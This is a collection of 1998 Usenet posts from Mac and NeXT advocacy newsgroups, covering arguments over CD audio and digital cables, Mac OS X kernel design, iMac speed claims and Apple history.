> > > > PlaySchool player.
> > > >
> > > > The only possible explanation would be if the green magic marker reduced
> > > > (or increased) the number of errors--and this should be easily
> > > > quantifiable.
> > >
> > >
> > > There is, however, another explanantion. We don't understand all we
> know about
> > > the process of digitizing audio. I mean, based on your assumption, the
> cabel
> > > between the CD transport and the outboard D/A converter shouldn't make any
> > > difference to the sound either - but it does.
> >
> > Again, you'd have to show evidence that it does.
>
> I've run the experiment. You can too. Its easy. Get a CD player (hopefully
> a good one) and a decent outboard D/A converter. Pick a CD you know
> reasonably well and get a bunch of interconnects. Get some cheap RCA
> to RCA, some expensive ones (like Monster sells) and some "digital"
> cables from Cardas and Vampyre, as well as a TOSLINK cable, and if
> the CD player and the D/A can accommodate it, an AT&T glass fiber
> optical cable. Now change them out while listening. Guess what? They
> ALL sound slightly different.
Really, so some cables just corrupt low order bits of digital sample streams?
If you were getting any kind of uniformly distributed errors in the bit
stream at a significant rate, you'd know it, because 1/16 of them would
cause a audio transient equal to one half of the maximum dynamic range.
Put another way, errors in most-significant digits of a number have much
greater effect on the output signal than errors in other digits. But, not
knowing anything about the actual format or encoding of the digital stream
on such cables I will leave it at that.
Rob
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Junking STREAMS?
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Cc: sal@panix.com
Organization: none
References: <35C87CFA.CEAE0167@milestonerdl.com> <SCOTT.98Aug5132919@slave.doubleu.com>
<Ex9uJH.ry@T-FCN.Net> <SCOTT.98Aug7113105@slave.doubleu.com>
<35D30D17.B1021347@prim.demon.co.uk> <SCOTT.98Aug13093854@slave.doubleu.com>
<ExorxB.4nx@T-FCN.Net> <SCOTT.98Aug14103710@slave.doubleu.com>
<6ralul$1fs@news1.panix.com>
Mime-Version: 1.0
Date: Tue, 18 Aug 1998 20:26:07 GMT
In <6ralul$1fs@news1.panix.com> Sal Denaro wrote:
> I would think that it will be very much like the GNU Hurd, and very
> little like NT.
>
> The slides from the WWDC gave me the impression that MacOSX would
> be much more like a "true-microkernel" than Mach2.5+++/BSD was; with
> a large chunk of BSD code being moved into Mach servers.
There's a big difference between that and the HURD though - at least in
theory. In the HURD the BSD code is linked into your apps - that is any code
that doesn't need system services that can't be provided directly from Mach
basically runs locally.
More importantly Apple did give up one very important fact during the
slides, that the "servers would be in the kernel". This is a generalist
approach that Mach 4 supported well, but basically it implies that there will
be an ID'able BSD emulator under MacOS-X, whereas this is not the case under
the HURD.
> >After all, if they're going to take an existing microkernel from an
> >external source, without substantial changes, and layer MacOS X on top
> >of it, then it's hard to understand why they don't just take an
> >existing _Unix_ (*BSD, Linux, whatever) and layer on top of that.
Most likely because it's the best solution when you need more than one
emulator core (in this case, two), and other servers as well. Consider the
case where you have two engines both talking to a single graphics world
instance. In cases like this the uKenrle design makes life a lot easier.
> Perhaps they are going to be a lot more aggressive that the Linux and *BSD*
> groups have been. They have tended to stick to the tried and true in the
> main source trees. Or at the very least, kept things out of the main source
> trees until they became tried and true.
The HURD is the only "freeware" code project that takes a radical approach
to OS design. Sadly even the HURD boosters I've talked to call it too slow
to be usable. This is really sad, I'd rather OS-X on a HURD-a-like than an
OSF-a-like.
Maury
Message-ID: <35D9EE6C.7032@ieighty.net>
Date: Tue, 18 Aug 1998 15:13:16 -0600
From: Legacy 'Xunker' <legacy@ieighty.net>
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net>
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Anna J. Gershwin wrote:
>
> Unlike Copland...Rhapsody...OSX... :-(
True, but I'm willing to wait for OS X.. as long as it gives me my
command line. :)
> Comes from announcing products 2 years in advance of when they are going to
> ship and expecting absolutely no problems in producing them.
>
> At least the Mac is a superior product, even when it came out the Mac had
> better graphics than the IBM (CGA adapters were limited to only 640x480
> in monochrome mode, the Mac was better). Better software, and hardware. Didn't
Better in monochrome? At 512x342? 'Cause thats all the 9 inch screen
could support.
> Apple invent SCSI, ethernet and the GUI? Now they have invented FireWire, the
> successor to SCSI and include that along with 100MB Ethernet on all the new
No, Apple didn't invent SCSI, but they were the first to employ it.
Apple didn't inven't ethernet, Bob Metcalfe at PARC did (he also founded
3Com), and the concept of a gui was first materialised also at PARC in
*1980*. Oh, yes, the Firewire concept originally came from CERN.
> Macs. It is too bad they have to play the game and announce products before
> they exist to compete in the marketplace but at least Apple's products are
> worth waiting for and are always superior to anything on the market, years
> ahead of anyone else - so when they finally ship, they are still ahead of
> everyone else.
No, not always superior. Better, perhaps, but not superiour. Apple's
Hardware design has always been utterly beautiful and orgasmic, but the
OS side is nearly laughable (nearly). MacOS still lacks dynamic memory
allocation, memory protection and multithreading. Not to say its bad,
but its way behind the times.
--
-LX "...Hello Rebel..."
From: Ian Stirling <000035D9E75C.NO_UCE@mauve.demon.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 21:43:10 +0100
Organization: None.
Message-ID: <000035D9E75C.NO_UCE@mauve.demon.co.uk>
References: <gmgraves-1808981148450001@sf-usr1-26-154.dialup.slip.net>
User-Agent: tin/pre-1.4-971106 (UNIX) (Linux/2.0.34 (i586))
In comp.sys.intel George Graves <gmgraves@slip.net> wrote:
: In article <joe.ragosta-1808980752420001@wil41.dol.net>,
: joe.ragosta@dol.net (Joe Ragosta) wrote:
:> In article <6ra5vg$b9h$1@news.spacelab.net>, "Charles W. Swiger"
:> <chuck@codefab.com> wrote:
:>
:> > joe.ragosta@dol.net (Joe Ragosta) wrote:
:> > >> joe.ragosta@dol.net (Joe Ragosta) wrote:
:> > >> [ ...green pen... ]
:> > >
:> > > But how could a green pen change the sampling rate?
:> >
:> > Not the sampling rate, but it might conceivably cause minor variants in the
:> > precise time between samples. For the sake of argument, let's
<snip>
:> > If so, then the photoreceptor will not see reflections before or after the
<snip>
:> I also don't have any opinion, but I'm having trouble understanding your
:> explanation. Isn't the digital signal sent to the DAC at a fixed
:> frequency?
: Yes but its coming from a MECHANICAL storage device. Unless the motor and
: the 'turntable' spining that disc is perfect and free from any speed variation
: at all, then the bit stream is going to be all over the place. Reclocking
: circuits
: such as FIFOs tend to drop bits and then close-up the spaces, so they introduce
: as much bit stream error as they correct. Expensive D/A converters use multiple
This isn't how I understand it to work.
Somewhere along the line is a maybe 1000-100000 sample fifo.
If it gets over 70% full, the motor circuitry is told to slow down, if
it gets under 30%, it's told to speed up.
No bits get lost.
--
See http://www.mauve.demon.co.uk/ |Linux PDA, cheap electronics/PC bits sale.
See_header,_for_UCE_policy___________|_____________________________Ian_Stirling.
Get off a shot FAST, this upsets him long enough to let you make your
second shot perfect. Robert A Heinlein.
From: "scott nichol" <scottnichol@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: getting files onto intel DR2...
Date: Tue, 18 Aug 1998 07:34:00 -0400
Organization: EarthLink Network, Inc.
Message-ID: <6rboqd$qnj$4@birch.prod.itd.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
hello all:
i really need to get RhapPPP onto my intel installation of DR2. however, i
have a standalone box in my house, not connected to any ethernet. on
another disk i have nextstep 3.0 and windows. however, DR2 cannot see
either partitions. the only thing that DR2 seems to be able to read are
some CDs.
i had success installing files on the PPC version of DR2 using suntar to
create a tar-floppy under MacOS, then untaring it on the DR2 side. however,
these tar floppies don't seem to work on my intel box. so, my question
remains - how do i get files onto a rhapsody intel disk without any sort of
network access.
the other thing we've tried is to create a floppy under DR2-PPC, then bring
it over to DR2-INTEL. this doesn't work. i've even tried putting the
DR2-INTEL hard drive in an external case and trying to mount it under
DR2-PPC. none of these options allows me to see the INTEL disk and write to
it. can i use the UNIX mount command to somehow mount the INTEL volume for
writing?
email response is appreciated. thanks in advance for any help.
scott nichol
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac question...
Date: 18 Aug 1998 10:53:35 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6rbmff$er2$1@sun27.hrz.tu-darmstadt.de>
References: <6r9lat$sc9$2@sun27.hrz.tu-darmstadt.de> <6r9s2q$6g8@btmpjg.god.bel.alcatel.be>
suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow) wrote:
>Personally I wouldn't need neither SCSI nor a Floppie
>since I could connect the iMac to my home network, and
>I'm not doing backups anyway, so I'd be happy I have not
>to pay for it.
>
>BTW., does anybody know what iMacs will cost outside
>of the U.S.A., e.g. in germany?
Yes, of course. The introductory price is 2998 DM (~USD 1675
please note that this includes 16% German VAT). The iMac can
already be pre-ordered from www.sendamac.de. It will ship
in Germany (and the rest of Europe, as I understand) starting
on September 5 IIRC.
HTH, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server to Ship September 30?
Date: Tue, 18 Aug 1998 13:29:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rbvjp$ou$1@nnrp1.dejanews.com>
References: <6r9kcc$r9l$1@nnrp1.dejanews.com> <ericb-1708982253080001@r4149.resnet.cornell.edu>
ericb@pobox.com (Eric Bennett) wrote:
> I talked to an Apple engineer in mid-July. At that time, his
> *impressions* (not official statements from Apple) were:
> *OS 8.5 would ship the first week of October
> *OS X Server would ship sometime after 8.5
> *OS X Blue Box would ship with 8.1, not 8.5
> *OS X Server would be packaged with WebObjects and
> thus would cost several thousand dollars, except for .edu
> users who would get it very cheap (WO for .edu users
> is currently $99)
>
> I hope that last point of speculation is wrong. I am sure plenty of
> high-end Mac users would consider installing OS X Server to get better
> performance and stability, but have no interest in Web Objects.
> Personally I want to run OS X Server to "tide me over" until OS X itself
> gets here. Of course, since I'm an .edu user, I probably don't have to
> worry.
Well, I'm not an edu user, I do want to run Mac OS X server, and I have
absolutely no interest in WebObjects, so I also hope this speculation is
wrong.
Frankly, it doesn't sound likely. I can imagine WebObjects being bundled with
MacOS X Server; buy WO, get MOSXServer -- that makes sense. But doing it the
other way -- ie you can only get MOSX server with WO -- makes NO sense for the
vast majority of potential users.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 18 Aug 1998 17:52:07 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6rcf07$j3c@newsb.netnews.att.com>
Originator: gupta@tlctest
July 31, 1998 :
http://webserv.vnunet.com/www_user/plsql/pkg_vnu_news.right_frame?p_story=60165
"DNA is the result of Microsoft putting the common thread of all its
products into a single framework for the next generation of Windows.
"We've now given that a name," Maritz [MS group VP of platforms and applns.]
told analysts at a recent annual meeting. "We call it Windows DNA,
and I'll be very frank, and admit that we picked the letters "DNA"
before we decided what they meant".
...Some 4680 of delegates at Microsoft's 1997 Professional Developers'
Conference said they planned applications using DNA and NT 5.0 by
September 1998. Althought the DNA architecture was undefined, it was
immediately embraced by Continental Airlines, Baan, PeopleSoft,
and Computer Associates. However, the fervour at the meeting did not
translate into products.
...Currently, the Windows DNA architecture seems to be slideware,
used with some success -- judging by the latest financial results --
in Microsoft's sales calls to 10,000 US enterprises"
-arun gupta
From: mazulauf@localhost.localdomain ()
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 18 Aug 1998 15:44:17 GMT
Organization: University of Utah Computer Center
Message-ID: <slrn6tj8ap.1hj.mazulauf@happy.met.utah.edu>
References: <6ogco6$8ma$1@hole.sdsu.edu> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com> <kindall-1208980036180001@nic-c41-094.mw.mediaone.net> <35d12ca0.0@news.depaul.edu> <prink-ya02408000R1308980040290001@news.abs.net> <6quak2$a3o$1@nnrp1.dejanews.com> <35d30cef.0@news.depaul.edu>
On 13 Aug 98 15:57:35 GMT, Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>In comp.sys.next.advocacy quinlan@intergate.bc.ca wrote:
>> In article <prink-ya02408000R1308980040290001@news.abs.net>,
>> prink@DIESPAM!bcpl.net (Philip Rink Jr.) wrote:
>
>> > Couldn't this also be a way of attracting new application developers by
>> > giving them a "clean slate"? Apple's saying, "look, here's a new OS, new
>> > API's, hot new processors, and don't worry about having to make it
>> > compatible with every Mac ever made." Sounds like a good deal for them.
>
>> Nope. Applications developers don't care much about the underlying hardware.
>
>Depends on the application. Some do, some don't. There seem to be
>plenty of reports of Mac apps breaking on a particular hardware
>model or configuration.
That's on the present Mac OS. With a "modern" OS, the applications shouldn't
have direct access to the hardware, and thus shouldn't care about it.
That's one of the strengths of a modern OS. Putting it another way, the
lack of this sort of feature is a weakness of the present Mac OS.
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: enj@slac.stanford.edu (Erik Nyls Jongewaard)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 17:01:51 -0700
Organization: Stanford Linear Accelerator Center
Message-ID: <enj-1808981701510001@kly12.slac.stanford.edu>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com>
In article <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com>,
uthant@un.org (U Thant) wrote:
> In article <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > > You'd have to look directly into it - lasers travel straight. You
> > > can see the red dot of the laser beam on the lens, without
> > > looking straight into the beam's path.
> >
> > But is the beam ITSELF visible red? It is possible that the laser
> > LED itself produces some red light INSIDE the laser diode, but
> > its the color of the laser beam itself that concerns us. If it is red,
> > then you would see a slim column of red light emitting from the
> > laser diode and striking the disc. (as in "Goldfinger" - "No Meester
> > Bond, I expect you to DIE!"). This would be visible from the side. No
> > visible red laser beam, then its not a red laser.
> >
> > George Graves
>
>
> Sorry, George, most CD lasers are very definitely visible red and NOT
> infra-red.
> Take one apart sometime.
> Also, you will not be able to see a slim column of red light emitting
from the
> laser diode and striking the disc _unless_ you use some medium to
> reflect (and/or refract) the laser beam. Try looking at the beam from a
> simple laser pointer which is just a more powerful version of a diode
> (solid state) laser used in CD players. Without using smoke, fog, steam,
> etc., you can't see the beam, even in a pitch dark room.
> Much more powerful lasers of the type used in light shows (and to split
> secret agents in half) are not diode lasers. These boys are as much as 10
> watts or more and they produce enough light to be refracted by dust in the
> air (and smoke from spliffs at concerts). Their beams can be seen quite
> well.
>
> Nash aka Mr Knowitall
>
> --
> email me at:
> denash@mindspring.com
CD lasers are around 780 nm which is considered to be beyond the visible
range and in the near-infrared. Some CD players have a LED which illuminates
the spinning CD to give the consumer a warm fuzzy feeling that something
is going on, but the actual data pickup laser is invisible. Check out the
following website giving specs for a typical CD pickup with a laser diode
putting out 4mW at 785 nm:
http://www.sanyo.co.jp/infopd/cd/cat/eng/pick/sfk50-sp.htm
-Erik
--
Erik Nyls Jongewaard
Klystron and Microwave Department
Stanford Linear Accelerator Center
email: enj@slac.stanford.edu
From: jpamer@best.com (Joseph Palmer)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 01:33:03 GMT
Organization: What? Me worry?
Message-ID: <6rd9vo$r45$1@nntp2.ba.best.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net>
In article <alex-1808981955510001@castle.webis.net>, alex@webis.net (Alex Kac) wrote:
>In article <6rd1km$bgs$1@plo.sierra.com>, "Earl Malmrose"
><earl.malmrose@nospam.sierra.com> wrote:
>
>: Legacy 'Xunker' wrote in message <35D9F38E.6407@ieighty.net>...
>: >
>: >Point of order, though. Win9x doesn't do Premptive MTing, either.. they
>: >fake it real well.
>:
>: Wrong. Win9x does do pre-emptive multitasking. It is not "faked".
>
>Considering that you can't download a large file and do any browsing at
>the same time on a just opened Pentium II-400 with 128MB of RAM, I don't
>think I would put much into this real pre-emptive multi-tasking.
Well, that's not true. I can and frequently do download more than one
large file (.pdfs mostly) while browsing, and checking mail, printing
and even reading news.
There are plenty of things wrong with Win9X, (Don't get me started)
but your example is not of them.
J.
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com>
<35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com>
<35D84F6F.DAED08CD@ericsson.com> <6r9ngb$n46$1@lwnws01.ne.highway1.com>
<35D9037A.C6EB7BE@mindspring.com>
Message-ID: <QDpC1.94547$7_3.2591786@news.rdc1.sdca.home.com>
Date: Wed, 19 Aug 1998 01:12:16 GMT
NNTP-Posting-Date: Tue, 18 Aug 1998 18:12:16 PDT
Organization: @Home Network
In <35D9037A.C6EB7BE@mindspring.com> marke wrote:
> John Kheit wrote:
[snip some comments that were right on]
> >
> > Now I agree that I don't think that competes well against a HUGE base of
apps
> > and momentum as found in NT, but it does offer a tray of alternative
features
> > at least to some extent. Depending on your needs, the alternatives may
be
> > very or not at all attractive.
> >
>
> None of which you listed. The traditional Mac strengths will be what
> differentiates MacOS X.
> Ease of setup.
>
>
OK
> Ease of use.
>
>
OK... new X UI Inpsectors maybe counter-Mctuitive (sp).
> Well integrated with the hardware.
>
>
Better, much better than Mac... well integrated across all hardware!
Ex-NeXT users know hardware is abstracted above the OS so what MacOS X users
like about their hardware will be a reflection of the quality choices, not a
function of MacOS X integration with hardware. Nothing stops Apple from
breaking pre-MacOS X architecture to revert back to integrated hardware
design between now and 1999. Those of us who've run NeXTSTEP, OPENSTEP,
Rhapsody across multiple hardware platforms will attest to the same great
"integrated user environment" wherever it runs. We will also tell you that
hardware runs the gamut from shit to excellence.
If Apple is smart they will target the bottom and top tiers and leave the
middle to cross-platform vendors.
> Well integrated user experience across all apps.
>
>
This will improve Orders of Magnitude above Macintosh.
NT markets are not challenged until Apple has SMP to offer.
-r
From: "DarkMerlin(JB)" <amazon@net-link.net>
Newsgroups: comp.sys.next.advocacy
Subject: so just what do you want Apple to do?
Date: Tue, 18 Aug 1998 23:39:51 -0500
Organization: Angelics=?ISO-8859-1?B?gQ==?=
Message-ID: <6rd3aq$eu9$1@leol.net-link.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
It seems like any conference with any relation to Apple is filled with Apple
haters that overwhelmingly ridicule any points of view that are anything
close to being positive. So I ask all those with your lists and lists of
complaints about how stupid Apple is or how much of a jerk Steve is to
compile a list of every one of you're complaints, provide just what you want
Apple to do and remove the complaints so it's just a list of what your Apple
would be like.
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: Wed, 19 Aug 1998 01:44:53 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35e02d84.8761580@news.supernews.com>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <6r86kc$p41@newsops.execpc.com> <joe.ragosta-1708980828590001@wil51.dol.net> <ericb-1708981140120001@r4149.resnet.cornell.edu> <joe.ragosta-1708981330180001@0.0.0.0>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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joe.ragosta@dol.net (Joe Ragosta), on Mon, 17 Aug 1998 13:30:18 -0400,
>In article <ericb-1708981140120001@r4149.resnet.cornell.edu>,
>ericb@pobox.com (Eric Bennett) wrote:
>
>> In article <joe.ragosta-1708980828590001@wil51.dol.net>,
>> joe.ragosta@dol.net (Joe Ragosta) wrote:
>>
>>
>> > USB-SCSI? No thanks. There's an Ethernet-SCSI bridge that's not going to
>> > limit SCSI to 1.25 MB/sec.
>>
>> I case you're forgetting, USB is 12 mbit/sec and standard 10bt ethernet is
>> 10 mbit/sec, so USB is faster. I know the iMac supports 100bt, but does
>> the ethernet/SCSI bridge support that, or just 10bt?
>
>My understanding is that it was 100BaseT, but I didn't save the original
>article, so don't quote me on it.
Whether or not the built in NIC card is 10baseT or 100baseT is irrelevant; you
can't compare transmit rate through a network to transfer rate through a bus
port any more than you can compare the Megahertz speed of RISC and
SuperSPARCS, let alone x86 and Alpha chips, etc.
--
T. Max Devlin
Eltrax Systems, Inc.
mdevlin@eltrax.com
-[Opinions expressed are my own; everyone else, including
my employer, has to pay for them, subject to
applicable licensing agreement]-
From: nhughes@sunflower.com (nate)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Wed, 19 Aug 1998 01:44:26 GMT
Organization: KU
Message-ID: <35e52cbe.63743812@198.0.0.100>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <joe.ragosta-1808981606460001@wil59.dol.net> <6rd336$buo$1@plo.sierra.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 19 Aug 1998 01:47:52 GMT
On Tue, 18 Aug 1998 16:25:47 -0700, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
>Joe Ragosta wrote in message ...
>>
>>Jobs is practicing marketing. The means carefully selecting your claims to
>>support your position. He has not lied in any reasonable sense of the
>>word.
>
>From <http://www.apple.com/pr/library/1998/aug/13fast.html>
>
>"The iMac for $1,299 toasts the fastest PC money can buy at any price--the
>Pentium II 400," said Steve Jobs, Apple's interim CEO.
>
>That is a lie, period. He is implying overall system performace based on the
>flawed (IMO) BYTEmarks. He left out the part about only toasting the PII-400
>in BYTEmarks. That is misleading. That is a lie.
>
No doubt. I've got a 11 month old PII based system which is still
faster than anything apple can come up with. I'll even pop out the
second 300 MHz processor and still guarantee my PII will render in
Bryce twice as fast as his latest toy.
If he wants to compare Bytemarks, that's cool too. However, since
Bytemarks is single threaded, I will insist we run two instances of
the bench at once.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: uthant@un.org (U Thant)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 18 Aug 1998 21:44:49 -0400
Organization: UN
Message-ID: <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu>
In article <enj-1808981701510001@kly12.slac.stanford.edu>,
enj@slac.stanford.edu (Erik Nyls Jongewaard) wrote:
> In article <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com>,
> uthant@un.org (U Thant) wrote:
>
> > In article <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net>,
> > gmgraves@slip.net (George Graves) wrote:
> >
> > > > You'd have to look directly into it - lasers travel straight. You
> > > > can see the red dot of the laser beam on the lens, without
> > > > looking straight into the beam's path.
> > >
> > > But is the beam ITSELF visible red? It is possible that the laser
> > > LED itself produces some red light INSIDE the laser diode, but
> > > its the color of the laser beam itself that concerns us. If it is red,
> > > then you would see a slim column of red light emitting from the
> > > laser diode and striking the disc. (as in "Goldfinger" - "No Meester
> > > Bond, I expect you to DIE!"). This would be visible from the side. No
> > > visible red laser beam, then its not a red laser.
> > >
> > > George Graves
> >
> >
> > Sorry, George, most CD lasers are very definitely visible red and NOT
> > infra-red.
> > Take one apart sometime.
> > Also, you will not be able to see a slim column of red light emitting
> from the
> > laser diode and striking the disc _unless_ you use some medium to
> > reflect (and/or refract) the laser beam. Try looking at the beam from a
> > simple laser pointer which is just a more powerful version of a diode
> > (solid state) laser used in CD players. Without using smoke, fog, steam,
> > etc., you can't see the beam, even in a pitch dark room.
> > Much more powerful lasers of the type used in light shows (and to split
> > secret agents in half) are not diode lasers. These boys are as much as 10
> > watts or more and they produce enough light to be refracted by dust in the
> > air (and smoke from spliffs at concerts). Their beams can be seen quite
> > well.
> >
> > Nash aka Mr Knowitall
> >
> > --
> > email me at:
> > denash@mindspring.com
>
>
> CD lasers are around 780 nm which is considered to be beyond the visible
> range and in the near-infrared. Some CD players have a LED which illuminates
> the spinning CD to give the consumer a warm fuzzy feeling that something
> is going on, but the actual data pickup laser is invisible. Check out the
> following website giving specs for a typical CD pickup with a laser diode
> putting out 4mW at 785 nm:
>
I thought that NIR (or at least invisibility) was considered to be over 800 nm.
At any rate, I had just gotten off of the phone with Yamaha's service
dept. and they confirmed that they use a red laser. I have had my
Yamaha apart (uh oh, warranty voided) and also a Toshiba. Both had a
visible red beam coming from the pickup lens (I used incense smoke to see
it), and not just an LED. I can't imagine why they would put in an extra
red laser just to make a consumer (who would probably never see it) warm
and fuzzy. Also, wouldn't a shorter wavelength be easier to focus?
Nash
--
email me at:
denash@mindspring.com
Newsgroups: comp.sys.next.advocacy,uk.media.tv.brookside,utexas.gslis.iplab
From: news@news.msfc.nasa.gov
Message-ID: <cancel.EfsC1.2031$Q%6.1822985@news.axxsys.net>
Control: cancel <EfsC1.2031$Q%6.1822985@news.axxsys.net>
Subject: cmsg cancel <EfsC1.2031$Q%6.1822985@news.axxsys.net>
Organization: http://www.msfc.nasa.gov/
Date: Wed, 19 Aug 1998 04:10:34 GMT
Sender: nvwyuhvkMike_Horner@thelegend.com
Make Money Fast post canceled by J. Porter Clark.
Date: Tue, 18 Aug 1998 16:06:46 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Message-ID: <joe.ragosta-1808981606460001@wil59.dol.net>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net>
In article <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
